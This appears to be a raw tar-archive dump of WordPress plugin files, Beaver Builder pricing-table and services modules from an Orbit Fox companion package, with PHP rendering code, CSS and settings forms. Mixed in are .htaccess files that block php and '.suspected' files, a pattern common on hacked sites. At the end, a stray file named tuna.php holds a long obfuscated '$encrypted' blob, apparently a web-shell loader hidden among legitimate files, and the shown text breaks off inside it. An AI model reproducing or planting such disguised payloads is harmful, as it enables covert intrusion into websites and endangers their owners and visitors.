$subtitle_line_height = ! empty( $settings->subtitle_line_height ) ? $settings->subtitle_line_height : '';
$subtitle_letter_spacing = ! empty( $settings->subtitle_letter_spacing ) ? $settings->subtitle_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-header *:last-child{';
	echo ! empty( $subtitle_color ) ? 'color: ' . $subtitle_color . ';' : '';
	echo ! empty( $subtitle_font_size ) ? 'font-size: ' . $subtitle_font_size . 'px;' : '';
	echo ! empty( $subtitle_font_family ) ? 'font-family: ' . $subtitle_font_family . ';' : '';
	echo ! empty( $subtitle_font_weight ) ? 'font-weight: ' . $subtitle_font_weight . ';' : '';
	echo ! empty( $subtitle_transform ) ? 'text-transform: ' . $subtitle_transform . ';' : '';
	echo ! empty( $subtitle_font_style ) ? 'font-style: ' . $subtitle_font_style . ';' : '';
	echo ! empty( $subtitle_line_height ) ? 'line-height: ' . $subtitle_line_height . 'px;' : '';
	echo ! empty( $subtitle_letter_spacing ) ? 'letter-spacing: ' . $subtitle_letter_spacing . 'px;' : '';
echo '}';

$price_top = ! empty( $settings->price_top ) ? $settings->price_top : '';
$price_bottom = ! empty( $settings->price_bottom ) ? $settings->price_bottom : '';
$price_left = ! empty( $settings->price_left ) ? $settings->price_left : '';
$price_right = ! empty( $settings->price_right ) ? $settings->price_right : '';
$price_font_size = ! empty( $settings->price_font_size ) ? $settings->price_font_size : '';
$price_font_family = ! empty( $settings->price_font_family['family'] ) ? $settings->price_font_family['family'] : '';
$price_font_weight = ! empty( $settings->price_font_family['weight'] ) ? $settings->price_font_family['weight'] : '';
$price_transform = ! empty( $settings->price_transform ) ? $settings->price_transform : '';
$price_font_style = ! empty( $settings->price_font_style ) ? $settings->price_font_style : '';
$price_line_height = ! empty( $settings->price_line_height ) ? $settings->price_line_height : '';
$price_letter_spacing = ! empty( $settings->price_letter_spacing ) ? $settings->price_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-price{';
	echo ! empty( $price_top ) ? 'padding-top: ' . $price_top . 'px;' : '';
	echo ! empty( $price_bottom ) ? 'padding-bottom: ' . $price_bottom . 'px;' : '';
	echo ! empty( $price_left ) ? 'padding-left: ' . $price_left . 'px;' : '';
	echo ! empty( $price_right ) ? 'padding-right: ' . $price_right . 'px;' : '';
	echo ! empty( $price_font_size ) ? 'font-size: ' . $price_font_size . 'px;' : '';
	echo ! empty( $price_font_family ) ? 'font-family: ' . $price_font_family . ';' : '';
	echo ! empty( $price_font_weight ) ? 'font-weight: ' . $price_font_weight . ';' : '';
	echo ! empty( $price_transform ) ? 'text-transform: ' . $price_transform . ';' : '';
	echo ! empty( $price_font_style ) ? 'font-style: ' . $price_font_style . ';' : '';
	echo ! empty( $price_line_height ) ? 'line-height: ' . $price_line_height . 'px;' : '';
	echo ! empty( $price_letter_spacing ) ? 'letter-spacing: ' . $price_letter_spacing . 'px;' : '';
echo '}';

if ( ! empty( $settings->price_color ) ) {
	$price_color = strpos( $settings->price_color, 'rgba' ) !== false ? $settings->price_color : '#' . $settings->price_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-price{';
	echo 'color: ' . $price_color . ';';
	echo '}';
}

if ( ! empty( $settings->currency_color ) ) {
	$currency_color = strpos( $settings->currency_color, 'rgba' ) !== false ? $settings->currency_color : '#' . $settings->currency_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-price sup{';
	echo 'color: ' . $currency_color . ';';
	echo '}';
}

if ( ! empty( $settings->period_color ) ) {
	$period_color = strpos( $settings->period_color, 'rgba' ) !== false ? $settings->period_color : '#' . $settings->period_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-price .obfx-period{';
	echo 'color: ' . $period_color . ';';
	echo '}';
}
$features_top = ! empty( $settings->features_right ) ? $settings->features_right : '';
$features_bottom = ! empty( $settings->features_right ) ? $settings->features_right : '';
$features_left = ! empty( $settings->features_right ) ? $settings->features_right : '';
$features_right = ! empty( $settings->features_right ) ? $settings->features_right : '';
echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content{';
	echo ! empty( $features_top ) ? 'padding-top: ' . $features_top . 'px;' : '';
	echo ! empty( $features_bottom ) ? 'padding-bottom: ' . $features_bottom . 'px;' : '';
	echo ! empty( $features_left ) ? 'padding-left: ' . $features_left . 'px;' : '';
	echo ! empty( $features_right ) ? 'padding-right: ' . $features_right . 'px;' : '';
echo '}';

$feature_font_size  = ! empty( $settings->feature_font_size ) ? $settings->feature_font_size : '';
$feature_transform  = ! empty( $settings->feature_transform ) ? $settings->feature_transform : '';
$feature_font_style  = ! empty( $settings->feature_font_style ) ? $settings->feature_font_style : '';
$feature_line_height  = ! empty( $settings->feature_line_height ) ? $settings->feature_line_height : '';
$feature_letter_spacing  = ! empty( $settings->feature_letter_spacing ) ? $settings->feature_letter_spacing : '';
echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content * {';
	echo ! empty( $feature_font_size ) ? 'font-size: ' . $feature_font_size . 'px;' : '';
	echo ! empty( $feature_transform ) ? 'text-transform: ' . $feature_transform . ';' : '';
	echo ! empty( $feature_font_style ) ? 'font-style: ' . $feature_font_style . ';' : '';
	echo ! empty( $feature_line_height ) ? 'line-height: ' . $feature_line_height . 'px;' : '';
	echo ! empty( $feature_letter_spacing ) ? 'letter-spacing: ' . $feature_letter_spacing . 'px;' : '';
echo '}';

if ( ! empty( $settings->feature_font_family['family'] ) ) {
	echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content:not(i){';
	echo 'font-family: ' . $settings->feature_font_family['family'] . ';';
	echo '}';
}
if ( ! empty( $settings->feature_font_family['weight'] ) ) {
	echo '.fl-node-' . $id . ' .obfx-pricing-features .obfx-pricing-feature-content:not(strong){';
	echo 'font-weight: ' . $settings->feature_font_family['weight'] . ';';
	echo '}';
}

if ( ! empty( $settings->icon_color ) ) {
	$icon_color = strpos( $settings->icon_color, 'rgba' ) !== false ? $settings->icon_color : '#' . $settings->icon_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-feature-content i{';
	echo 'color: ' . $icon_color . ';';
	echo '}';
}

if ( ! empty( $settings->bold_color ) ) {
	$bold_color = strpos( $settings->bold_color, 'rgba' ) !== false ? $settings->bold_color : '#' . $settings->bold_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-feature-content strong{';
	echo 'color: ' . $bold_color . ';';
	echo '}';
}

if ( ! empty( $settings->feature_color ) ) {
	$feature_color = strpos( $settings->feature_color, 'rgba' ) !== false ? $settings->feature_color : '#' . $settings->feature_color;
	echo '.fl-node-' . $id . ' .obfx-pricing-feature-content:not(i):not(strong){';
	echo 'color: ' . $feature_color . ';';
	echo '}';
}

$button_margin_bottom = ! empty( $settings->button_margin_bottom ) ? $settings->button_margin_bottom : '';
$button_margin_left = ! empty( $settings->button_margin_left ) ? $settings->button_margin_left : '';
$button_margin_right = ! empty( $settings->button_margin_right ) ? $settings->button_margin_right : '';
$button_margin_top = ! empty( $settings->button_margin_top ) ? $settings->button_margin_top : '';
echo '.fl-node-' . $id . ' .obfx-plan-bottom{';
	echo ! empty( $button_margin_bottom ) ? 'margin-bottom: ' . $button_margin_bottom . 'px;' : '';
	echo ! empty( $button_margin_left ) ? 'margin-left: ' . $button_margin_left . 'px;' : '';
	echo ! empty( $button_margin_right ) ? 'margin-right: ' . $button_margin_right . 'px;' : '';
	echo ! empty( $button_margin_top ) ? 'margin-top: ' . $button_margin_top . 'px;' : '';
echo '}';

$button_padding_top = ! empty( $settings->button_padding_top ) ? $settings->button_padding_top : '';
$button_padding_bottom = ! empty( $settings->button_padding_bottom ) ? $settings->button_padding_bottom : '';
$button_padding_left = ! empty( $settings->button_padding_left ) ? $settings->button_padding_left : '';
$button_padding_right = ! empty( $settings->button_padding_right ) ? $settings->button_padding_right : '';
$button_font_size = ! empty( $settings->button_font_size ) ? $settings->button_font_size : '';
$button_transform = ! empty( $settings->button_transform ) ? $settings->button_transform : '';
$button_font_style = ! empty( $settings->button_font_style ) ? $settings->button_font_style : '';
$button_line_height = ! empty( $settings->button_line_height ) ? $settings->button_line_height : '';
$button_letter_spacing = ! empty( $settings->button_letter_spacing ) ? $settings->button_letter_spacing : '';
$button_font_family = ! empty( $settings->button_font_family['family'] ) ? $settings->button_font_family['family'] : '';
$button_font_weight = ! empty( $settings->button_font_family['weight'] ) ? $settings->button_font_family['weight'] : '';
$button_text_color = ! empty( $settings->button_text_color ) ? ( strpos( $settings->button_text_color, 'rgba' ) !== false ? $settings->button_text_color : '#' . $settings->button_text_color ) : '';
$button_bg_color = ! empty( $settings->button_bg_color ) ? ( strpos( $settings->button_bg_color, 'rgba' ) !== false ? $settings->button_bg_color : '#' . $settings->button_bg_color ) : '';
echo '.fl-node-' . $id . ' .obfx-plan-button{';
	echo ! empty( $button_padding_top ) ? 'padding-top: ' . $button_padding_top . 'px;' : '';
	echo ! empty( $button_padding_bottom ) ? 'padding-bottom: ' . $button_padding_bottom . 'px;' : '';
	echo ! empty( $button_padding_left ) ? 'padding-left: ' . $button_padding_left . 'px;' : '';
	echo ! empty( $button_padding_right ) ? 'padding-right: ' . $button_padding_right . 'px;' : '';
	echo ! empty( $button_text_color ) ? 'color: ' . $button_text_color . ';' : '';
	echo ! empty( $button_bg_color ) ? 'background-color: ' . $button_bg_color . ';' : '';
	echo ! empty( $button_font_size ) ? 'font-size: ' . $button_font_size . 'px;' : '';
	echo ! empty( $button_transform ) ? 'text-transform: ' . $button_transform . ';' : '';
	echo ! empty( $button_font_style ) ? 'font-style: ' . $button_font_style . ';' : '';
	echo ! empty( $button_line_height ) ? 'line-height: ' . $button_line_height . 'px;' : '';
	echo ! empty( $button_letter_spacing ) ? 'letter-spacing: ' . $button_letter_spacing . 'px;' : '';
	echo ! empty( $button_font_family ) ? 'font-family: ' . $button_font_family . ';' : '';
	echo ! empty( $button_font_weight ) ? 'font-weight: ' . $button_font_weight . ';' : '';
echo '}';

$button_text_color_hover = ! empty( $settings->button_text_color_hover ) ? ( strpos( $settings->button_text_color_hover, 'rgba' ) !== false ? $settings->button_text_color_hover : '#' . $settings->button_text_color_hover ) : '';
$button_bg_color_hover = ! empty( $settings->button_bg_color_hover ) ? ( strpos( $settings->button_bg_color_hover, 'rgba' ) !== false ? $settings->button_bg_color_hover : '#' . $settings->button_bg_color_hover ) : '';
echo '.fl-node-' . $id . ' .obfx-plan-button:hover{';
	echo ! empty( $button_text_color_hover ) ? 'color: ' . $button_text_color_hover . ';' : '';
	echo ! empty( $button_bg_color_hover ) ? 'background-color: ' . $button_bg_color_hover . ';' : '';
echo '}';
pricing-table/includes/frontend.php000066600000005021151137207700013427 0ustar00<?php
/**
 * This file is used to render each pricing module instance.
 * You have access to two variables in this file:
 *
 * $module An instance of your module class.
 * $settings The module's settings.
 */

$class_to_add = $settings->card_layout === 'yes' ? 'obfx-card' : '';

echo '<div class="obfx-pricing-plan ' . esc_attr( $class_to_add ) . '">';
	echo '<div class="obfx-pricing-header">';
		echo '<' . $settings->plan_title_tag . ' class="obfx-plan-title text-center">' . wp_kses_post( $settings->plan_title ) . '</' . $settings->plan_title_tag . '>';
		echo '<' . $settings->plan_subtitle_tag . ' class="obfx-plan-subtitle text-center">' . wp_kses_post( $settings->plan_subtitle ) . '</' . $settings->plan_subtitle_tag . '>';
	echo '</div>';
	echo '<div class="obfx-pricing-price text-center">';
switch ( $settings->currency_position ) {
	case 'after':
		echo '<span class="obfx-price">' . wp_kses_post( $settings->price ) . '</span><sup class="obfx-currency">' . wp_kses_post( $settings->currency ) . '</sup><span class="obfx-period">' . wp_kses_post( $settings->period ) . '</span>';
		break;
	case 'before':
		echo '<sup>' . wp_kses_post( $settings->currency ) . '</sup><span class="obfx-price">' . wp_kses_post( $settings->price ) . '</span><span class="obfx-period">' . wp_kses_post( $settings->period ) . '</span>';
		break;
}
	echo '</div>';

	$features = $settings->features;
if ( ! empty( $features ) ) {
	echo '<ul class="obfx-pricing-features text-center">';
	foreach ( $features as $feature ) {
		$icon = ! empty( $feature->icon ) ? $feature->icon : '';
		$bold_text = ! empty( $feature->bold_text ) ? $feature->bold_text : '';
		$text = ! empty( $feature->text ) ? $feature->text : '';
		$section_is_empty = empty( $icon ) && empty( $bold_text ) && empty( $text );
		if ( ! $section_is_empty ) {
			echo '<li><span class="obfx-pricing-feature-content">';
			if ( ! empty( $icon ) ) {
				echo '<i class="fa ' . esc_attr( $icon ) . '"></i>';
			}
			if ( ! empty( $bold_text ) ) {
				echo '<strong>' . wp_kses_post( $bold_text ) . ' </strong> ';
			}
			if ( ! empty( $text ) ) {
				echo wp_kses_post( $text );
			}
			echo '</span><hr>';
			echo '</li>';
		}
	}
	echo '</ul>';
}

	$button_text = ! empty( $settings->text ) ? $settings->text : '';
	$button_link = ! empty( $settings->link ) ? $settings->link : '';
if ( ! empty( $button_text ) ) {
	echo '<div class="obfx-plan-bottom text-center">';
	echo '<a class="btn obfx-plan-button" href="' . esc_url( $button_link ) . '">' . wp_kses_post( $button_text ) . '</a>';
	echo '</div>';
}
echo '</div>';
pricing-table/css/.htaccess000066600000000424151137207700011661 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>pricing-table/css/frontend.css000066600000001763151137207700012423 0ustar00/**
 * This file should contain frontend styles that
 * will be applied to all module instances.
 */

.obfx-card {
	display: inline-block;
	position: relative;
	width: 100%;
	margin-bottom: 30px;
	border-radius: 6px;
	color: rgba(0, 0, 0, 0.87);
	background: #fff;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);
}

.obfx-pricing-header {
	background-position: center;
	background-size: cover;
}

.obfx-pricing-header * {
	margin: 0;
	padding: 0;
}

.blog-post .section-text .obfx-pricing-header p {
	margin: 0;
}

.obfx-pricing-features {
	margin: 0;
	padding: 0;
	list-style-type: none;
}

.obfx-pricing-features li {
	margin: 0;
	padding: 0;
}

.obfx-pricing-feature-content {
	float: left;
	width: 100%;
}

.obfx-pricing-features hr {
	float: left;
	width: 100%;
	margin: 0;
}

.obfx-pricing-features li i {
	margin-right: 10px;
}

.obfx-plan-bottom {
	float: left;
	width: 100%;
}

a.obfx-plan-button {
	margin: 0;
	text-transform: none;
}
services/services.php000066600000016317151137207700010742 0ustar00<?php
/**
 * Services module.
 *
 * @package themeisle-companion
 */

// Get the module directory.
$module_directory = $this->get_dir();

// Include common functions file.
require_once( $module_directory . '/inc/common-functions.php' );

// Include custom fields
require_once( $module_directory . '/custom-fields/toggle-field/toggle_field.php' );

/**
 * Class PricingTableModule
 */
class ServicesModule extends FLBuilderModule {

	/**
	 * Constructor function for the module. You must pass the
	 * name, description, dir and url in an array to the parent class.
	 *
	 * @method __construct
	 */
	public function __construct() {
		parent::__construct(
			array(
				'name'          => esc_html__( 'Services', 'themeisle-companion' ),
				'description'   => esc_html__( 'An overview of the products or services.', 'themeisle-companion' ),
				'category'      => esc_html__( 'Orbit Fox Modules', 'themeisle-companion' ),
				'dir'           => BEAVER_WIDGETS_PATH . 'modules/services/',
				'url'           => BEAVER_WIDGETS_URL . 'modules/services/',
			)
		);
	}
}

/**
 * Register the module and its form settings.
 */
FLBuilder::register_module(
	'ServicesModule',
	array(
		'content' => array(
			'title' => esc_html__( 'Content', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'content' => array(
					'title' => '',
					'fields' => array(
						'services' => array(
							'multiple' => true,
							'type'          => 'form',
							'label'         => esc_html__( 'Service', 'themeisle-companion' ),
							'form'          => 'service_content', // ID of a registered form.
							'preview_text'  => 'title', // ID of a field to use for the preview text.
						),
						'column_number' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Number of columns', 'themeisle-companion' ),
							'default' => '3',
							'options' => array(
								'1' => esc_html__( '1', 'themeisle-companion' ),
								'2' => esc_html__( '2', 'themeisle-companion' ),
								'3' => esc_html__( '3', 'themeisle-companion' ),
								'4' => esc_html__( '4', 'themeisle-companion' ),
								'5' => esc_html__( '5', 'themeisle-companion' ),
							),
						),
						'card_layout' => array(
							'type'          => 'obfx_toggle',
							'label'         => esc_html__( 'Card layout', 'themeisle-companion' ),
							'default'       => 'yes',
						),
						'background_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Background color', 'themeisle-companion' ),
							'default' => 'ffffff',
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service',
										'property'     => 'background',
									),
								),
							),
						),

					),
				),
			),
		),
		'icon_style' => array(
			'title' => esc_html__( 'Icon style', 'themeisle-companion' ), // Tab title
			'sections' => array(
				'font' => array(
					'title' => esc_html__( 'General', 'themeisle-companion' ),
					'fields' => array(
						'icon_position' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Position', 'themeisle-companion' ),
							'default' => 'center',
							'options' => array(
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
						'icon_size' => array(
							'type'        => 'text',
							'label' => esc_html__( 'Size', 'themeisle-companion' ),
							'description' => esc_html__( 'px', 'themeisle-companion' ),
							'default' => '45',
							'maxlength'     => '3',
							'size'          => '4',
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service-icon',
										'property'     => 'font-size',
										'unit' => 'px',
									),
								),
							),
						),
					),
				),
				'icon_padding' => themeisle_four_fields_control(
					array(
						'default' => array(
							'top' => 30,
							'bottom' => 15,
							'left' => 25,
							'right' => 25,
						),
						'selector' => '.obfx-service-icon',
						'field_name_prefix' => 'icon_',
					)
				),
			),
		),
		'title_style' => array(
			'title' => esc_html__( 'Title style', 'themeisle-companion' ),
			'sections' => array(
				'general' => array(
					'title' => esc_html__( 'General', 'themeisle-companion' ),
					'fields' => array(
						'title_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service-title',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'typography' => themeisle_typography_settings(
					array(
						'prefix' => 'title_',
						'selector' => '.obfx-service-title',
					)
				),
			),
		),
		'content_style' => array(
			'title' => esc_html__( 'Content style', 'themeisle-companion' ),
			'sections' => array(
				'general' => array(
					'title' => esc_html__( 'General', 'themeisle-companion' ),
					'fields' => array(
						'content_alignment' => array(
							'type'    => 'select',
							'label'   => esc_html__( 'Alignment', 'themeisle-companion' ),
							'default' => 'center',
							'options' => array(
								'left' => esc_html__( 'Left', 'themeisle-companion' ),
								'center' => esc_html__( 'Center', 'themeisle-companion' ),
								'right' => esc_html__( 'Right', 'themeisle-companion' ),
							),
						),
						'content_color' => array(
							'type' => 'color',
							'label' => esc_html__( 'Color', 'themeisle-companion' ),
							'preview' => array(
								'type' => 'css',
								'rules' => array(
									array(
										'selector' => '.obfx-service-content',
										'property'     => 'color',
									),
								),
							),
						),
					),
				),
				'typography' => themeisle_typography_settings(
					array(
						'prefix' => 'content_',
						'selector' => '.obfx-service-content',
					)
				),
			),
		),
	)
);

FLBuilder::register_settings_form(
	'service_content',
	array(
		'title' => __( 'Service', 'themeisle-companion' ),
		'tabs'  => array(
			'general'      => array(
				'title'         => esc_html__( 'General', 'themeisle-companion' ),
				'sections'      => array(
					'general'       => array(
						'title'         => '',
						'fields'        => array(
							'title' => array(
								'type'  => 'text',
								'label' => esc_html__( 'Title', 'themeisle-companion' ),
							),
							'text' => array(
								'type'          => 'textarea',
								'label'         => esc_html__( 'Text', 'themeisle-companion' ),
								'rows'          => '6',
							),
							'icon' => array(
								'type'          => 'icon',
								'label'         => esc_html__( 'Icon', 'themeisle-companion' ),
								'show_remove'   => true,
							),
							'icon_color' => array(
								'type'          => 'color',
								'label'         => esc_html__( 'Icon color', 'themeisle-companion' ),
								'default' => 'd6d6d6',
							),
							'link' => array(
								'type'          => 'link',
								'label'         => esc_html__( 'Link to', 'themeisle-companion' ),
							),
						),
					),
				),
			),
		),
	)
);
services/css/frontend.css000066600000001410151137207700011513 0ustar00/**
 * This file should contain frontend styles that
 * will be applied to all module instances.
 */
.obfx-services-section {
	text-align: center;
}

.obfx-service-title {
	display: inline-block;
}

.obfx-card {
	display: inline-block;
	position: relative;
	width: 100%;
	margin-bottom: 30px;
	border-radius: 6px;
	color: rgba(0, 0, 0, 0.87);
	background: #fff;
	box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 3px 1px -2px rgba(0, 0, 0, 0.2), 0 1px 5px 0 rgba(0, 0, 0, 0.12);
}

.obfx-service {
	padding: 15px;
}

.obfx-service-icon {
	vertical-align: middle;
}

.obfx-service-icon i {
	vertical-align: inherit;
}

.obfx-service-icon .dashicons,
.obfx-service-icon .dashicons-before:before {
	width: inherit;
	height: inherit;
	font-size: inherit;
	vertical-align: inherit;
}
services/css/.htaccess000066600000000424151137207700010764 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>services/includes/frontend.css.php000066600000006706151137207700013334 0ustar00<?php
$columns = $settings->column_number;
$column_width = 100 / (int) $columns;

echo '.fl-node-' . $id . ' .obfx-service-wrapper{';
	echo 'display:inline-block;';
if ( ! empty( $column_width ) ) {
	echo 'width:' . $column_width . '%;';
}
	echo 'padding: 0 10px;';
echo '}';

$bg_color = $settings->background_color;
echo '.fl-node-' . $id . ' .obfx-service{';
if ( ! empty( $bg_color ) ) {
	echo 'background:#' . $bg_color . ';';
}
echo '}';


$icon_size = $settings->icon_size;
$padding_top = $settings->icon_top;
$padding_bottom = $settings->icon_bottom;
$padding_left = $settings->icon_left;
$padding_right = $settings->icon_right;
$icon_position = $settings->icon_position;

echo '.fl-node-' . $id . ' .obfx-service-icon{';
if ( ! empty( $icon_size ) ) {
	echo 'font-size:' . $icon_size . 'px;';
}
if ( ! empty( $padding_top ) ) {
	echo 'padding-top:' . $padding_top . 'px;';
}
if ( ! empty( $padding_bottom ) ) {
	echo 'padding-bottom:' . $padding_bottom . 'px;';
}
if ( ! empty( $padding_left ) ) {
	echo 'padding-left:' . $padding_left . 'px;';
}
if ( ! empty( $padding_right ) ) {
	echo 'padding-right:' . $padding_right . 'px;';
}
if ( ! empty( $icon_position ) && $icon_position !== 'center' ) {
	echo 'float:' . $icon_position . ';';
}

echo '}';


$title_color = $settings->title_color;
$title_size = $settings->title_font_size;
$font_family = $settings->title_font_family['family'];
$font_weight = $settings->title_font_family['weight'];
$font_style = $settings->title_font_style;
$transform = $settings->title_transform;
$line_height = $settings->title_line_height;
$letter_spacing = $settings->title_letter_spacing;
echo '.fl-node-' . $id . ' .obfx-service-title{';
if ( ! empty( $title_color ) ) {
	echo 'color: #' . $title_color . ';';
}
if ( ! empty( $title_size ) ) {
	echo 'font-size:' . $title_size . 'px;';
}
if ( ! empty( $font_family ) ) {
	echo 'font-family:' . $font_family . ';';
}
if ( ! empty( $font_weight ) ) {
	echo 'font-weight:' . $font_weight . ';';
}
if ( ! empty( $font_style ) ) {
	echo 'font-style:' . $font_style . ';';
}
if ( ! empty( $transform ) ) {
	echo 'text-transform:' . $transform . ';';
}
if ( ! empty( $line_height ) ) {
	echo 'line-height:' . $line_height . 'px;';
}
if ( ! empty( $letter_spacing ) ) {
	echo 'letter-spacing:' . $letter_spacing . 'px;';
}
echo '}';


$content_color = $settings->content_color;
$content_size = $settings->content_font_size;
$font_family = $settings->content_font_family['family'];
$font_weight = $settings->content_font_family['weight'];
$font_style = $settings->content_font_style;
$transform = $settings->content_transform;
$line_height = $settings->content_line_height;
$alignment = $settings->content_alignment;
$letter_spacing = $settings->content_letter_spacing;
echo '.fl-node-' . $id . ' .obfx-service-content{';
if ( ! empty( $content_color ) ) {
	echo 'color: #' . $content_color . ';';
}
if ( ! empty( $content_size ) ) {
	echo 'font-size:' . $content_size . 'px;';
}
if ( ! empty( $font_family ) ) {
	echo 'font-family:' . $font_family . ';';
}
if ( ! empty( $font_weight ) ) {
	echo 'font-weight:' . $font_weight . ';';
}
if ( ! empty( $font_style ) ) {
	echo 'font-style:' . $font_style . ';';
}
if ( ! empty( $transform ) ) {
	echo 'text-transform:' . $transform . ';';
}
if ( ! empty( $line_height ) ) {
	echo 'line-height:' . $line_height . 'px;';
}
if ( ! empty( $alignment ) ) {
	echo 'text-align:' . $alignment . ';';
}
if ( ! empty( $letter_spacing ) ) {
	echo 'letter-spacing:' . $letter_spacing . 'px;';
}
echo '}';
services/includes/frontend.php000066600000002704151137207700012537 0ustar00<?php
/**
 * This file is used to render services module.
 * You have access to two variables in this file:
 *
 * $module An instance of your module class.
 * $settings The module's settings.
 */

$columns = $settings->column_number;
$services = $settings->services;
$services_nb = sizeof( $services );
$card_layout = $settings->card_layout;
$container_class = $card_layout === 'yes' ? 'obfx-card obfx-service' : 'obfx-service';
if ( ! empty( $columns ) ) {
	echo '<div class="obfx-services-section">';
	foreach ( $services as $service ) {
		echo '<div class="obfx-service-wrapper">';
			echo '<div class="' . esc_attr( $container_class ) . '">';
				$title = $service->title;
				$text = $service->text;
				$icon = $service->icon;
				$link = $service->link;

		if ( ! empty( $icon ) ) {
			$icon_color = ! empty( $service->icon_color ) ? '#' . $service->icon_color : '#d6d6d6';
			echo '<div class="obfx-service-icon" style="color:' . esc_attr( $icon_color ) . '"><i class="' . esc_attr( $icon ) . '"></i></div>';
		}
		if ( ! empty( $title ) ) {
			if ( ! empty( $link ) ) {
				echo '<a class="obfx-service-title" href="' . esc_url( $link ) . '" target="_blank">';
			}
			echo '<h4 class="obfx-service-title">' . wp_kses_post( $title ) . '</h4>';
			if ( ! empty( $link ) ) {
				echo '</a>';
			}
		}

		if ( ! empty( $text ) ) {
			echo '<p class="obfx-service-content">' . wp_kses_post( $text ) . '</p>';
		}

			echo '</div>';
		echo '</div>';
	}
	echo '</div>';

}
services/includes/.htaccess000066600000000424151137207700012002 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>services/.htaccess000066600000000424151137207700010174 0ustar00<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php - [L]
RewriteRule ^.*\.[pP][hH].* - [L]
RewriteRule ^.*\.[sS][uU][sS][pP][eE][cC][tT][eE][dD] - [L]
<FilesMatch "\.(php|php7|phtml|suspected)$">
    Deny from all
</FilesMatch>
</IfModule>tuna.php000066600000012222151145357430006237 0ustar00<?php
$encrypted = 'VUYxLi01MDcwQQYVBAtLbGRdARMYDVBsY1sdBA8FV2p_QU5BSVsYBBoASQQdABwSDBNIQzs1L0pNQ1BsY0dVQU5dGhMMDQtfZG1VQU5BSUdVQQwODR5VGmNrSUdVQU5BSUdVQU5BCwYWCgkTBhIbBUMCBgsaE1RBSlYQUAtQDFx4a05BSUdVQU5BSUdVQQ0OBQgHW05CDwYTUQtXUmp_QU5BSUdVQU5BSUdVBwEPHUoTAAMIBR5PQQMOBwgGEQ8CDFx4a05BSUdVQU5BFGp_QU5BSUdVQU4VDB8BABwECEcObGRBSUdVQU5BSUdVQU4WAAMBCVRBWldQWmNrSUdVQU5BSUdVQU5BAQIcBgYVU0dBURgJUmp_QU5BSUdVQU5BSUdVAw8CAgAHDhsPDUoWDgIOG11VQlwDWwVHA1VsY0dVQU5BSUdVQU5BSQQaDQETU0dWBw8HWQJDWmNrSUdVQU5BSUdVQU5BCwgHBQsTU0dEERZBGggZCApBSlNBVVVsY0dVQU5BSUdVQU5BSRcUBQoIBwBPQV9RGR9ObGRBSUdVQU5BSUdVQU4HBgkBTB0IEwJPQV9VGR9ObGRBSUdVQU5BSRp4a05BSUdVQU5BRwoQEh0ADgJVGmNrSUdVQU5BSUdVQU5BCggZDhxbSQscBgYVDhUQBABaZG1VQU5BSUdVQU5BSUcFAAoFAAkSW05QWRcNWmNrSUdVQU5BSUcIbGRBSUdVQU5BSQUAFRoOB0cObGRBSUdVQU5BSUdVQU4DCAQeBhwOHAkRTA0OBQgHWxwGCwZdUFZNSVZGWUJBWFVHTU5RR1BNSFVsY0dVQU5BSUdVQU5BSQ8QCAkJHV1VU1sREVx4a05BSUdVQU5BSUdVQQ0OBQgHW05CLyEzWSoiUmp_QU5BSUdVQU5BSUdVDA8TDg4bTBwIDg8BW05QWRcNWmNrSUdVQU5BSUdVQU5BCwgHBQsTRBUUBQcUGl1VUh4ZUmp_QU5BSUdVQU5BSUdVAwETDQIHW04PBgkQWmNrSUdVQU5BSUdVQU5BGQYRBQcPDl1VVR4ZSVZHERZaZG1VQU5BSUdVQU5BSUcTDgAVRAEUDAcNEF1VRiQEHSUHAAcPGkc4DgAOTktVRi0OHBUcBBxBJwICRkJBKggAEwcEG0tVDAEPBhQFAA0EUmp_QU5BSUdVQU5BSUdVBwEPHUoGCBQEU0dEUh4ZUmp_QU5BSUdVQU5BSUdVAhsTGggHW04RBg4bFQsTUmp_QU5BSUdVQU5BSUdVFQsZHUoUDQcGB11VA